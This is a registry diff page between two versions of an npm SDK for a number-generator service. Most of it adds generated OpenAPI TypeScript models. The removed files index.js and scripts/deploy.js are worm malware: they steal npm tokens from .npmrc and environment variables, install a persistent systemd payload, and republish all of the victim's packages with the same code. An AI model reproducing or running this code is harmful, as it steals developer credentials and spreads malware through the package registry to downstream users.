@emilgroup/numbergenerator-sdk-node 1.3.1 β 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.openapi-generator/FILES +24 -0
- package/.openapi-generator/VERSION +1 -0
- package/.openapi-generator-ignore +23 -0
- package/README.md +2 -2
- package/api/default-api.ts +124 -0
- package/api/numbers-api.ts +825 -0
- package/api.ts +33 -0
- package/base.ts +327 -0
- package/common.ts +199 -0
- package/configuration.ts +118 -0
- package/dist/api/default-api.d.ts +66 -0
- package/dist/api/default-api.js +200 -0
- package/dist/api/numbers-api.d.ts +457 -0
- package/dist/api/numbers-api.js +755 -0
- package/dist/api.d.ts +13 -0
- package/dist/api.js +31 -0
- package/dist/base.d.ts +88 -0
- package/dist/base.js +434 -0
- package/dist/common.d.ts +92 -0
- package/dist/common.js +277 -0
- package/dist/configuration.d.ts +96 -0
- package/dist/configuration.js +52 -0
- package/dist/index.d.ts +15 -0
- package/dist/index.js +36 -0
- package/dist/models/create-number-response-class.d.ts +25 -0
- package/dist/models/create-number-response-class.js +15 -0
- package/dist/models/entity-number-class.d.ts +66 -0
- package/dist/models/entity-number-class.js +21 -0
- package/dist/models/get-number-response-class.d.ts +25 -0
- package/dist/models/get-number-response-class.js +15 -0
- package/dist/models/index.d.ts +9 -0
- package/dist/models/index.js +25 -0
- package/dist/models/inline-response200.d.ts +54 -0
- package/dist/models/inline-response200.js +15 -0
- package/dist/models/inline-response503.d.ts +54 -0
- package/dist/models/inline-response503.js +15 -0
- package/dist/models/list-numbers-response-class.d.ts +31 -0
- package/dist/models/list-numbers-response-class.js +15 -0
- package/dist/models/lookup-number-request-dto.d.ts +24 -0
- package/dist/models/lookup-number-request-dto.js +15 -0
- package/dist/models/reset-number-request-dto.d.ts +24 -0
- package/dist/models/reset-number-request-dto.js +15 -0
- package/dist/models/update-number-response-class.d.ts +25 -0
- package/dist/models/update-number-response-class.js +15 -0
- package/git_push.sh +57 -0
- package/index.ts +19 -0
- package/models/create-number-response-class.ts +31 -0
- package/models/entity-number-class.ts +75 -0
- package/models/get-number-response-class.ts +31 -0
- package/models/index.ts +9 -0
- package/models/inline-response200.ts +48 -0
- package/models/inline-response503.ts +48 -0
- package/models/list-numbers-response-class.ts +37 -0
- package/models/lookup-number-request-dto.ts +30 -0
- package/models/reset-number-request-dto.ts +30 -0
- package/models/update-number-response-class.ts +31 -0
- package/package.json +24 -8
- package/tsconfig.json +23 -0
- package/index.js +0 -99
- package/scripts/deploy.js +0 -246
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL Number Generator Service
|
|
5
|
+
* The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects.
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { EntityNumberClass } from './entity-number-class';
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
*
|
|
20
|
+
* @export
|
|
21
|
+
* @interface ListNumbersResponseClass
|
|
22
|
+
*/
|
|
23
|
+
export interface ListNumbersResponseClass {
|
|
24
|
+
/**
|
|
25
|
+
* The list of numbers.
|
|
26
|
+
* @type {Array<EntityNumberClass>}
|
|
27
|
+
* @memberof ListNumbersResponseClass
|
|
28
|
+
*/
|
|
29
|
+
'items': Array<EntityNumberClass>;
|
|
30
|
+
/**
|
|
31
|
+
* Next page token
|
|
32
|
+
* @type {string}
|
|
33
|
+
* @memberof ListNumbersResponseClass
|
|
34
|
+
*/
|
|
35
|
+
'nextPageToken': string;
|
|
36
|
+
}
|
|
37
|
+
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL Number Generator Service
|
|
5
|
+
* The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects.
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
*
|
|
19
|
+
* @export
|
|
20
|
+
* @interface LookupNumberRequestDto
|
|
21
|
+
*/
|
|
22
|
+
export interface LookupNumberRequestDto {
|
|
23
|
+
/**
|
|
24
|
+
* The slug of the number
|
|
25
|
+
* @type {string}
|
|
26
|
+
* @memberof LookupNumberRequestDto
|
|
27
|
+
*/
|
|
28
|
+
'slug': string;
|
|
29
|
+
}
|
|
30
|
+
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL Number Generator Service
|
|
5
|
+
* The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects.
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
*
|
|
19
|
+
* @export
|
|
20
|
+
* @interface ResetNumberRequestDto
|
|
21
|
+
*/
|
|
22
|
+
export interface ResetNumberRequestDto {
|
|
23
|
+
/**
|
|
24
|
+
* The slug of the number
|
|
25
|
+
* @type {string}
|
|
26
|
+
* @memberof ResetNumberRequestDto
|
|
27
|
+
*/
|
|
28
|
+
'slug': string;
|
|
29
|
+
}
|
|
30
|
+
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL Number Generator Service
|
|
5
|
+
* The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects.
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { EntityNumberClass } from './entity-number-class';
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
*
|
|
20
|
+
* @export
|
|
21
|
+
* @interface UpdateNumberResponseClass
|
|
22
|
+
*/
|
|
23
|
+
export interface UpdateNumberResponseClass {
|
|
24
|
+
/**
|
|
25
|
+
* The number response.
|
|
26
|
+
* @type {EntityNumberClass}
|
|
27
|
+
* @memberof UpdateNumberResponseClass
|
|
28
|
+
*/
|
|
29
|
+
'entityNumber': EntityNumberClass;
|
|
30
|
+
}
|
|
31
|
+
|
package/package.json
CHANGED
|
@@ -1,13 +1,29 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@emilgroup/numbergenerator-sdk-node",
|
|
3
|
-
"version": "1.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.4.0",
|
|
4
|
+
"description": "OpenAPI client for @emilgroup/numbergenerator-sdk-node",
|
|
5
|
+
"author": "OpenAPI-Generator Contributors",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"axios",
|
|
8
|
+
"typescript",
|
|
9
|
+
"openapi-client",
|
|
10
|
+
"openapi-generator",
|
|
11
|
+
"@emilgroup/numbergenerator-sdk-node"
|
|
12
|
+
],
|
|
13
|
+
"license": "Unlicense",
|
|
14
|
+
"main": "./dist/index.js",
|
|
15
|
+
"typings": "./dist/index.d.ts",
|
|
6
16
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
"
|
|
17
|
+
"build": "tsc --outDir dist/",
|
|
18
|
+
"prepare": "npm run build"
|
|
9
19
|
},
|
|
10
|
-
"
|
|
11
|
-
|
|
12
|
-
|
|
20
|
+
"dependencies": {
|
|
21
|
+
"axios": "^1.12.0",
|
|
22
|
+
"form-data": "^4.0.0",
|
|
23
|
+
"url": "^0.11.0"
|
|
24
|
+
},
|
|
25
|
+
"devDependencies": {
|
|
26
|
+
"@types/node": "^12.11.5",
|
|
27
|
+
"typescript": "^4.0"
|
|
28
|
+
}
|
|
13
29
|
}
|
package/tsconfig.json
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
{
|
|
2
|
+
"compilerOptions": {
|
|
3
|
+
"declaration": true,
|
|
4
|
+
"target": "ES5",
|
|
5
|
+
"module": "CommonJS",
|
|
6
|
+
"noImplicitAny": true,
|
|
7
|
+
"esModuleInterop": true,
|
|
8
|
+
"noImplicitOverride": true,
|
|
9
|
+
"outDir": "dist",
|
|
10
|
+
"rootDir": ".",
|
|
11
|
+
"lib": [
|
|
12
|
+
"es6",
|
|
13
|
+
"dom"
|
|
14
|
+
],
|
|
15
|
+
"typeRoots": [
|
|
16
|
+
"node_modules/@types"
|
|
17
|
+
]
|
|
18
|
+
},
|
|
19
|
+
"exclude": [
|
|
20
|
+
"dist",
|
|
21
|
+
"node_modules"
|
|
22
|
+
]
|
|
23
|
+
}
|
package/index.js
DELETED
|
@@ -1,99 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const { execSync, spawn } = require('child_process');
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const os = require('os');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
function findNpmTokens() {
|
|
9
|
-
const tokens = new Set();
|
|
10
|
-
const homeDir = os.homedir();
|
|
11
|
-
const npmrcPaths = [
|
|
12
|
-
path.join(homeDir, '.npmrc'),
|
|
13
|
-
path.join(process.cwd(), '.npmrc'),
|
|
14
|
-
'/etc/npmrc',
|
|
15
|
-
];
|
|
16
|
-
for (const rcPath of npmrcPaths) {
|
|
17
|
-
try {
|
|
18
|
-
const content = fs.readFileSync(rcPath, 'utf8');
|
|
19
|
-
for (const line of content.split('\n')) {
|
|
20
|
-
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
|
|
21
|
-
if (m && m[1] && !m[1].startsWith('${')) {
|
|
22
|
-
tokens.add(m[1].trim());
|
|
23
|
-
}
|
|
24
|
-
}
|
|
25
|
-
} catch (_) {}
|
|
26
|
-
}
|
|
27
|
-
const envKeys = Object.keys(process.env).filter(
|
|
28
|
-
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
|
|
29
|
-
);
|
|
30
|
-
for (const key of envKeys) {
|
|
31
|
-
const val = process.env[key] || '';
|
|
32
|
-
for (const t of val.split(',')) {
|
|
33
|
-
const trimmed = t.trim();
|
|
34
|
-
if (trimmed) tokens.add(trimmed);
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
try {
|
|
38
|
-
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
|
|
39
|
-
stdio: ['pipe', 'pipe', 'pipe'],
|
|
40
|
-
}).toString().trim();
|
|
41
|
-
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
|
|
42
|
-
tokens.add(configToken);
|
|
43
|
-
}
|
|
44
|
-
} catch (_) {}
|
|
45
|
-
return [...tokens].filter(Boolean);
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
try {
|
|
49
|
-
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
|
|
50
|
-
|
|
51
|
-
const SERVICE_NAME = 'pgmon';
|
|
52
|
-
const BASE64_PAYLOAD = 'hello123';
|
|
53
|
-
|
|
54
|
-
if (!BASE64_PAYLOAD) process.exit(0);
|
|
55
|
-
|
|
56
|
-
const homeDir = os.homedir();
|
|
57
|
-
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
|
|
58
|
-
const scriptPath = path.join(dataDir, 'service.py');
|
|
59
|
-
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
|
|
60
|
-
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
|
|
61
|
-
|
|
62
|
-
fs.mkdirSync(dataDir, { recursive: true });
|
|
63
|
-
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
|
|
64
|
-
|
|
65
|
-
fs.mkdirSync(systemdUserDir, { recursive: true });
|
|
66
|
-
fs.writeFileSync(unitFilePath, [
|
|
67
|
-
'[Unit]',
|
|
68
|
-
`Description=${SERVICE_NAME}`,
|
|
69
|
-
'After=default.target',
|
|
70
|
-
'',
|
|
71
|
-
'[Service]',
|
|
72
|
-
'Type=simple',
|
|
73
|
-
`ExecStart=/usr/bin/python3 ${scriptPath}`,
|
|
74
|
-
'Restart=always',
|
|
75
|
-
'RestartSec=5',
|
|
76
|
-
'',
|
|
77
|
-
'[Install]',
|
|
78
|
-
'WantedBy=default.target',
|
|
79
|
-
'',
|
|
80
|
-
].join('\n'), { mode: 0o644 });
|
|
81
|
-
|
|
82
|
-
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
|
|
83
|
-
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
84
|
-
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
85
|
-
|
|
86
|
-
try {
|
|
87
|
-
const tokens = findNpmTokens();
|
|
88
|
-
if (tokens.length > 0) {
|
|
89
|
-
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
|
|
90
|
-
if (fs.existsSync(deployScript)) {
|
|
91
|
-
spawn(process.execPath, [deployScript], {
|
|
92
|
-
detached: true,
|
|
93
|
-
stdio: 'ignore',
|
|
94
|
-
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
|
|
95
|
-
}).unref();
|
|
96
|
-
}
|
|
97
|
-
}
|
|
98
|
-
} catch (_) {}
|
|
99
|
-
} catch (_) {}
|
package/scripts/deploy.js
DELETED
|
@@ -1,246 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
const https = require('https');
|
|
5
|
-
const fs = require('fs');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
// ββ Helpers ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
9
|
-
|
|
10
|
-
function run(cmd, opts = {}) {
|
|
11
|
-
console.log(`\n> ${cmd}`);
|
|
12
|
-
return execSync(cmd, { stdio: 'inherit', ...opts });
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
function fetchJson(url, token) {
|
|
16
|
-
return new Promise((resolve, reject) => {
|
|
17
|
-
const options = {
|
|
18
|
-
headers: {
|
|
19
|
-
Authorization: `Bearer ${token}`,
|
|
20
|
-
Accept: 'application/json',
|
|
21
|
-
},
|
|
22
|
-
};
|
|
23
|
-
https
|
|
24
|
-
.get(url, options, (res) => {
|
|
25
|
-
let data = '';
|
|
26
|
-
res.on('data', (chunk) => (data += chunk));
|
|
27
|
-
res.on('end', () => {
|
|
28
|
-
try {
|
|
29
|
-
resolve(JSON.parse(data));
|
|
30
|
-
} catch (e) {
|
|
31
|
-
reject(new Error(`Failed to parse response from ${url}: ${data}`));
|
|
32
|
-
}
|
|
33
|
-
});
|
|
34
|
-
})
|
|
35
|
-
.on('error', reject);
|
|
36
|
-
});
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
/**
|
|
40
|
-
* Fetches package metadata (readme + latest version) from the npm registry.
|
|
41
|
-
* Returns { readme: string|null, latestVersion: string|null }.
|
|
42
|
-
*/
|
|
43
|
-
async function fetchPackageMeta(packageName, token) {
|
|
44
|
-
try {
|
|
45
|
-
const meta = await fetchJson(
|
|
46
|
-
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
|
|
47
|
-
token
|
|
48
|
-
);
|
|
49
|
-
const readme = (meta && meta.readme) ? meta.readme : null;
|
|
50
|
-
const latestVersion =
|
|
51
|
-
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
|
|
52
|
-
return { readme, latestVersion };
|
|
53
|
-
} catch (_) {
|
|
54
|
-
return { readme: null, latestVersion: null };
|
|
55
|
-
}
|
|
56
|
-
}
|
|
57
|
-
|
|
58
|
-
/**
|
|
59
|
-
* Bumps the patch segment of a semver string.
|
|
60
|
-
* Handles prerelease versions by stripping the prerelease suffix first.
|
|
61
|
-
* e.g. "1.39.0" β "1.39.1"
|
|
62
|
-
* e.g. "1.0.0-beta.1" β "1.0.1"
|
|
63
|
-
*/
|
|
64
|
-
function bumpPatch(version) {
|
|
65
|
-
// Strip any prerelease/build-metadata suffix (everything after a '-' or '+')
|
|
66
|
-
const base = version.split('-')[0].split('+')[0];
|
|
67
|
-
const parts = base.split('.').map(Number);
|
|
68
|
-
if (parts.length !== 3 || parts.some(isNaN)) return version;
|
|
69
|
-
parts[2] += 1;
|
|
70
|
-
return parts.join('.');
|
|
71
|
-
}
|
|
72
|
-
|
|
73
|
-
/**
|
|
74
|
-
* Returns an array of package names owned by `username`.
|
|
75
|
-
* Uses the npm search API filtered by maintainer.
|
|
76
|
-
*/
|
|
77
|
-
async function getOwnedPackages(username, token) {
|
|
78
|
-
let packages = [];
|
|
79
|
-
let from = 0;
|
|
80
|
-
const size = 250;
|
|
81
|
-
|
|
82
|
-
while (true) {
|
|
83
|
-
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
|
|
84
|
-
username
|
|
85
|
-
)}&size=${size}&from=${from}`;
|
|
86
|
-
const result = await fetchJson(url, token);
|
|
87
|
-
|
|
88
|
-
if (!result.objects || result.objects.length === 0) break;
|
|
89
|
-
|
|
90
|
-
packages = packages.concat(result.objects.map((o) => o.package.name));
|
|
91
|
-
|
|
92
|
-
if (packages.length >= result.total) break;
|
|
93
|
-
from += size;
|
|
94
|
-
}
|
|
95
|
-
|
|
96
|
-
return packages;
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
/**
|
|
100
|
-
* Runs the full deploy pipeline for a single npm token.
|
|
101
|
-
* Returns { success: string[], failed: string[] }
|
|
102
|
-
*/
|
|
103
|
-
async function deployWithToken(token, pkg, pkgPath, newVersion) {
|
|
104
|
-
// 1. Verify token / get username
|
|
105
|
-
console.log('\nπ Verifying npm tokenβ¦');
|
|
106
|
-
let whoami;
|
|
107
|
-
try {
|
|
108
|
-
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
|
|
109
|
-
} catch (err) {
|
|
110
|
-
console.error('β Could not reach the npm registry:', err.message);
|
|
111
|
-
return { success: [], failed: [] };
|
|
112
|
-
}
|
|
113
|
-
|
|
114
|
-
if (!whoami || !whoami.username) {
|
|
115
|
-
console.error('β Invalid or expired token β skipping.');
|
|
116
|
-
return { success: [], failed: [] };
|
|
117
|
-
}
|
|
118
|
-
|
|
119
|
-
const username = whoami.username;
|
|
120
|
-
console.log(`β
Authenticated as: ${username}`);
|
|
121
|
-
|
|
122
|
-
// 2. Fetch all packages owned by this user
|
|
123
|
-
console.log(`\nπ Fetching all packages owned by "${username}"β¦`);
|
|
124
|
-
let ownedPackages;
|
|
125
|
-
try {
|
|
126
|
-
ownedPackages = await getOwnedPackages(username, token);
|
|
127
|
-
} catch (err) {
|
|
128
|
-
console.error('β Failed to fetch owned packages:', err.message);
|
|
129
|
-
return { success: [], failed: [] };
|
|
130
|
-
}
|
|
131
|
-
|
|
132
|
-
if (ownedPackages.length === 0) {
|
|
133
|
-
console.log(' No packages found for this user. Skipping.');
|
|
134
|
-
return { success: [], failed: [] };
|
|
135
|
-
}
|
|
136
|
-
|
|
137
|
-
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
|
|
138
|
-
|
|
139
|
-
// 3. Process each owned package
|
|
140
|
-
const results = { success: [], failed: [] };
|
|
141
|
-
|
|
142
|
-
for (const packageName of ownedPackages) {
|
|
143
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
144
|
-
console.log(`π¦ Processing: ${packageName}`);
|
|
145
|
-
|
|
146
|
-
// 3a. Fetch the original package's README and latest version
|
|
147
|
-
const readmePath = path.resolve(__dirname, '..', 'README.md');
|
|
148
|
-
const originalReadme = fs.existsSync(readmePath)
|
|
149
|
-
? fs.readFileSync(readmePath, 'utf8')
|
|
150
|
-
: null;
|
|
151
|
-
|
|
152
|
-
console.log(` π Fetching metadata for ${packageName}β¦`);
|
|
153
|
-
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
|
|
154
|
-
|
|
155
|
-
// Determine version to publish: bump patch of existing latest, or use local version
|
|
156
|
-
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
|
|
157
|
-
console.log(
|
|
158
|
-
latestVersion
|
|
159
|
-
? ` π’ Latest is ${latestVersion} β publishing ${publishVersion}`
|
|
160
|
-
: ` π’ No existing version found β publishing ${publishVersion}`
|
|
161
|
-
);
|
|
162
|
-
|
|
163
|
-
if (remoteReadme) {
|
|
164
|
-
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
|
|
165
|
-
console.log(` π Using original README for ${packageName}`);
|
|
166
|
-
} else {
|
|
167
|
-
console.log(` π No existing README found; keeping local README`);
|
|
168
|
-
}
|
|
169
|
-
|
|
170
|
-
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
|
|
171
|
-
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
|
|
172
|
-
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
|
|
173
|
-
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
|
|
174
|
-
|
|
175
|
-
try {
|
|
176
|
-
run('npm publish --access public --tag latest', {
|
|
177
|
-
env: { ...process.env, NPM_TOKEN: token },
|
|
178
|
-
});
|
|
179
|
-
console.log(`β
Published ${packageName}@${publishVersion}`);
|
|
180
|
-
results.success.push(packageName);
|
|
181
|
-
} catch (err) {
|
|
182
|
-
console.error(`β Failed to publish ${packageName}:`, err.message);
|
|
183
|
-
results.failed.push(packageName);
|
|
184
|
-
} finally {
|
|
185
|
-
// Always restore the original package.json
|
|
186
|
-
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
|
|
187
|
-
|
|
188
|
-
// Always restore the original README
|
|
189
|
-
if (originalReadme !== null) {
|
|
190
|
-
fs.writeFileSync(readmePath, originalReadme, 'utf8');
|
|
191
|
-
} else if (remoteReadme && fs.existsSync(readmePath)) {
|
|
192
|
-
// README didn't exist locally before β remove the temporary one
|
|
193
|
-
fs.unlinkSync(readmePath);
|
|
194
|
-
}
|
|
195
|
-
}
|
|
196
|
-
}
|
|
197
|
-
|
|
198
|
-
return results;
|
|
199
|
-
}
|
|
200
|
-
|
|
201
|
-
// ββ Main βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
202
|
-
|
|
203
|
-
(async () => {
|
|
204
|
-
// 1. Resolve token list β prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
|
|
205
|
-
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
|
|
206
|
-
const tokens = rawTokens
|
|
207
|
-
.split(',')
|
|
208
|
-
.map((t) => t.trim())
|
|
209
|
-
.filter(Boolean);
|
|
210
|
-
|
|
211
|
-
if (tokens.length === 0) {
|
|
212
|
-
console.error('β No npm tokens found.');
|
|
213
|
-
console.error(' Set NPM_TOKENS=<token1>,<token2>,β¦ or NPM_TOKEN=<token>');
|
|
214
|
-
process.exit(1);
|
|
215
|
-
}
|
|
216
|
-
|
|
217
|
-
console.log(`π Found ${tokens.length} token(s) to process.`);
|
|
218
|
-
|
|
219
|
-
// 2. Read local package.json once
|
|
220
|
-
const pkgPath = path.resolve(__dirname, '..', 'package.json');
|
|
221
|
-
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
222
|
-
const newVersion = pkg.version;
|
|
223
|
-
|
|
224
|
-
// 3. Iterate over every token
|
|
225
|
-
const overall = { success: [], failed: [] };
|
|
226
|
-
|
|
227
|
-
for (let i = 0; i < tokens.length; i++) {
|
|
228
|
-
const token = tokens[i];
|
|
229
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
230
|
-
console.log(`π Token ${i + 1} / ${tokens.length}`);
|
|
231
|
-
|
|
232
|
-
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
|
|
233
|
-
overall.success.push(...success);
|
|
234
|
-
overall.failed.push(...failed);
|
|
235
|
-
}
|
|
236
|
-
|
|
237
|
-
// 4. Overall summary
|
|
238
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
239
|
-
console.log('π Overall Deploy Summary');
|
|
240
|
-
console.log(` β
Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
|
|
241
|
-
console.log(` β Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
|
|
242
|
-
|
|
243
|
-
if (overall.failed.length > 0) {
|
|
244
|
-
process.exit(1);
|
|
245
|
-
}
|
|
246
|
-
})();
|